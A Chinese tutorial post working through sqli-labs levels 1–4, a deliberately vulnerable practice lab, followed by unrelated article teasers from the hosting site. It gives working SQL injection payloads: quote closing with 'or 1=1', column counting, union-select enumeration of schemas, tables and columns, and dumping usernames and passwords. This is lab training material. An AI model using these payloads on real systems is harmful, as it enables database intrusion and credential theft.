Background-1 基础知识 sqli-Labs Less1-Less-4

文章目录

  • 一、Less-1
  • 二、Less-2
  • 三、Less-3
  • 四、Less-4
  • 总结

一、Less-1

http://sqli:8080/Less-1/?id=1

在第一关我们可以尝试增加一个单引号进行尝试

http://sqli:8080/Less-1/?id=1'

错误显示如下:
在这里插入图片描述

 near ''1'' LIMIT 0,1' at line 1

推测语法的结构


select *from where ***  id='  'id' limit 0,1'

上述错误中我们可以推测由于增加了1’导致语法变成'1'' limit 0,1,是由于多加了一个'造成的后果。
下面是尝试解决的方法
尝试' or 1=1--+把但单引号给闭合
此时的语句构成如下代码段:

selecr ***from  **  where id= '1' or 1=1--+ ' limit 0,1

接下来:
通过order by 来查看有几列数据,当尝试到 order by 4时出现报错猜测只有三列数据。

在这里插入图片描述为什么造成sql注入分析,由于对单引号闭合后,使用了 or 1=1永真

接下来:采用联合union 把两个多个sql语句连接起来。

http://sqli:8080/Less-1/?id=-1' union select 1,2--+

(当id=-1时,前一个内容为空从而执行后面的语句),从而构造了union语句
下面进行爆数据库:

select 1,2,group_concat(schema_name) from information_schema.schemata--+;

在这里插入图片描述
爆security的表:

-1'union select 1,2,group_concat( table_name) from information_schema.tables where 
table_schema='security'--+

在这里插入图片描述
爆users表中的列

-1'union select 1,2,group_concat(column_name) from information_schema.columns where 
table_name='users'--+

在这里插入图片描述

爆数据

?id=-1'union select 1,username,password from users where id=1--+

在这里插入图片描述

二、Less-2

在这里插入图片描述
根据报错信息推测开发者使用的语句是:

select *from table where=(使用的是整数)--+

可成功注入的有:

or 1=1--+
or 1=1--+

三、Less-3

在这里插入图片描述根据报错信息提示开发者使用的语句是:

select * from table where id=('out input here')--+

可成功注入的有:

 ') or '1'=('1
 ') or 1=1--+

四、Less-4

在这里插入图片描述
根据报错信息我们推测sql的语句:

select * from table where=("$id")--+

可成功注入的有:

") or "1"=("1
") or 1=1--+

总结

离别总是不经意间,还没来得及告别就已不见,不舍的心情难以言表,相见与分离是现实却如梦,我已傻傻分不清二者。
逍遥游;尧让天下于许由,肩吾问于连叔曰,送人资章甫而适,惠子问庄子曰

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/30806.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【从零开始学习JAVA | 第六篇】面向对象综合训练

目录 前言: 1.文字版格斗游戏: 2.对象数组1 前言: 前面我们已经讲解了JAVA面向程序对象思想的关键要素:封装。我们将利用本篇进行几个小型的练习,帮助我们更好的理解面向对象编程这种思想。 1.文字版格斗游戏&#x…

SpringSecurity过滤指定url【.antMatchers(***).permitAll()】失效问题

SpringSecurity过滤指定url【.antMatchers(***).permitAll()】失效问题 问题描述 在使用SpringSecurity作为后端验证框架时,遇到配置一些接口不需要token验证,直接放行,但是配置之后没有生效,一直究其原因。 项目配置 因为要进…

ES6相关概念

什么是ES6? ES 的全称是 ECMAScript , 它是由 ECMA 国际标准化组织,制定的一项脚本语言的标准化规范。 为什么使用 ES6 ? 每一次标准的诞生都意味着语言的完善,功能的加强。JavaScript语言本身也有一些令人不满意的地方。 变量提升特性增加了程序运行…

SpringBoot整合jwt+redis+随机验证码+Vue的登录功能

一、运行效果展示 !注意:前端的Vue项目中要引入element-ui和axios # npm安装element-ui、axios npm insatll element-ui -S npm install axios -S # 在main中引入 // 引入ElementUI import ElementUI from element-ui import element-ui/lib/theme-chalk…

大数据Doris(四十七):开启Steam Load记录

文章目录 开启Steam Load记录 一、停止 Doris 集群 二、在 node3-node5 BE 节点上配置 be.conf 三、重新启动 Doris 集群 开启Steam Load记录 后续执行Stream Load 导入任务后,我们会在Doris集群中会查询对应Stream Load任务的情况,默认BE是不记录S…

【UE】滑动UI

效果 步骤 1. 新建一个控件蓝图,这里命名为“WBP_Slide” 2. 在关卡蓝图添加如下节点来显示控件蓝图 3. 打开“WBP_Slide”,添加一个滚动框控件 设置滚动框的锚点 设置滚动朝向为水平 在滚动框中添加一个画布面板 在画布面板中添加一个图像控件 由于我有…

STM32ARM体系结构(嵌入式学习)

STM32&ARM体系结构 1. STM321.1 简介1.2 STM32的优势1.3 命名规范 2. ARM体系结构2.1 ARM体系结构面试题:谈谈你对ARM的认识?1.ARM公司2.ARM处理器3.ARM技术 目前主流处理器架构?精简指令集RISC和复杂指令集CISC的区别?精简指…

电商数据分析方案:丰富经验护航,分析一步到位

如果做电商数据分析的每一步都从零开始,摸着石头过河,反复测试修改。一通忙活下来,成果没见多少,人力物力成本倒是节节攀升,试问又有多少企业承受得住?如果有一套一步到位的数据分析方案,是不是…

Linux学习[15]bash学习深入1---bash的功能---变量详解

文章目录 前言:1. bash功能2. 变量2.1 变量赋值2.2 unset取消变量2.3 环境变量 总结 前言: 之前在学树莓派相关内容的时候,对bash脚本的简单上手做了一个总结,并且归纳到下面三个博客。 当时参考的书为《从树莓派开始玩转linux》…

LwIP RAW API 实现UDP多播收发

LwIP RAW API 实现UDP多播收发实现 1、初始化 static struct udp_pcb *multicast_pcb NULL; static ip_addr_t mutlcast_send_ip; static ip_addr_t mutlcast_recv_ip;static void udp_recv_multicast(void *arg, struct udp_pcb *pcb, struct pbuf *p,const ip_addr_t *add…

结构化GPT用例,在CSDN私密社区中死磕@ada 探索SpringBoot

在CSDN私密社区中死磕ada 探索SpringBoot Q: Spring的核心概念是哪些?Q: Spring MVC的核心概念是哪些?Q: SpringBoot的核心概念有哪些?Q: 介绍下SpringBoot AutoConfiguration的机制。Q: SpringBootConfiguration 和 Configuration 的区别是&…

C# 学习(一)概述

今天开始学习 C#,所有学习资料来源于: 菜鸟教程 一、C# 简介 C# 是 .NET 框架的一部分,随之创造出来的语言,所以了解 C# 前,需要知道 .NET 是个什么东西。 1.1 .NET 框架介绍 .NET 是微软提出的 Web 的一种软件开发…

【每日一题】LCP 41. 黑白翻转棋

【每日一题】LCP 41. 黑白翻转棋 LCP 41. 黑白翻转棋题目描述解题思路 LCP 41. 黑白翻转棋 题目描述 在 n*m 大小的棋盘中,有黑白两种棋子,黑棋记作字母 “X”, 白棋记作字母 “O”,空余位置记作 “.”。当落下的棋子与其他相同颜色的棋子在…

JavaScript ES10新特性

文章目录 导文Array.prototype.flat()和Array.prototype.flatMap()Object.fromEntries()String.prototype.trimStart()和String.prototype.trimEnd()格式化数字动态导入可选的catch绑定BigIntglobalThis 导文 JavaScript ES10,也被称为ES2019,引入了一些…

【07】STM32·HAL库开发-新建寄存器版本MDK工程 |下载STM32Cube固件包 | 新建MDK工程步骤

目录 1.新建工程前的准备工作(了解)1.1下载相关STM32Cube 官方固件包(F1/F4/F7/H7) 2.新建寄存器版本MDK工程步骤(熟悉)2.1新建工程文件夹2.1.1Drivers文件夹2.1.2Middlewares文件夹2.1.3Output文件夹2.1.4Projects文件…

SpringMvc学习——在idea中新建springWeb项目 浏览器请求 和 服务器响应 SpringMvc文件相关

目录 引出基础知识:三层架构和MVC1. 三层架构2.MVC模型 springWeb项目IDEA搭建1.新建一个普通的maven项目2.导入包,pom.xml文件3.写主启动类Main.java文件SpringBootApplication4.写application.yml文件spring的配置文件5.启动,运行main.java…

Spark大数据处理学习笔记(3.8.3) Spark RDD典型案例-利用RDD实现分组排行榜

该文章主要为完成实训任务,详细实现过程及结果见【http://t.csdn.cn/Twpwe】 文章目录 一、任务目标二、准备工作2.1 在本地创建成绩文件2.2 将成绩文件上传到HDFS上指定目录 三、完成任务3.1 在Spark Shell里完成任务3.1.1 读取成绩文件得到RDD3.1.2 利用映射算子生…

Spring Cloud Alibaba Seata(一)

目录 一、Seata 1、分布式事务简介 1.1、分布式事务理论 1.2、分布式事务解决方案 2、Seata简介 3、Seata安装 一、Seata 1、分布式事务简介 基础概念:事务ACID A(Atomic):原子性,构成事务的所有操作&#xf…

27-2BP_Adaboost强分类器公司财务预管建模——强分类器和弱分类器(附matlab程序)

1.简述 Adaboost算法的思想是合并多个“弱”分类器的输出以产生有效分类。其主要步骤为:首先给出弱学习算法和样本空间(x,y),从样本空间中找出m组训练数据,每组训练数据的权重都是1/m。然后用弱学习算法迭代运算T次&am…

爬虫小白应该如何学习爬虫

什么是Python3网络爬虫? 定义: 网络爬虫(Web Spider),又被称为网页蜘蛛,是一种按照一定的规则,自动地抓取网站信息的程序或者脚本。爬虫其实是通过编写程序,模拟浏览器上网&#x…